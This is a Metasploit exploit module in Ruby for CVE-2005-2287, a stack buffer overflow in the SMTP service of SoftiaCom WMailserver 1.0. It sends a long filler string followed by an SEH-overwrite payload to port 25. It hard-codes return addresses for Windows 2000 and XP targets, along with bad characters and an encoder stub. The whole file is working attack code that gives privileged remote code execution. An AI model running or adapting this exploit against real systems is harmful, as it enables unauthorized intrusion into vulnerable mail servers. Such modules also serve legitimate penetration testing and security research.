SoftiaCom WMailserver 1.0 - Buffer Overflow

                                                ##
# $Id: wmailserver.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SoftiaCom WMailserver 1.0 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.0
				(SMTP) via a SEH frame overwrite.
			},
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-2287' ],
					[ 'OSVDB', '17883' ],
					[ 'BID', '14213' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Platform'       => 'win',
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Targets'        =>
				[
					[ 'Windows 2000 Pro English All',   		{ 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English', 		{ 'Ret' => 0x71aa32ad } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 11 2005 '))

		register_options([ Opt::RPORT(25) ], self.class)
	end

	def exploit
		connect

		filler = " " + rand_text_alpha_upper(5115)
		seh = generate_seh_payload(target.ret)
		sploit = filler + seh + rand_text_alpha_upper(200)

		print_status("Trying target #{target.name}...")
		sock.put(sploit + "\r\n\r\n")

		handler
		disconnect
	end

end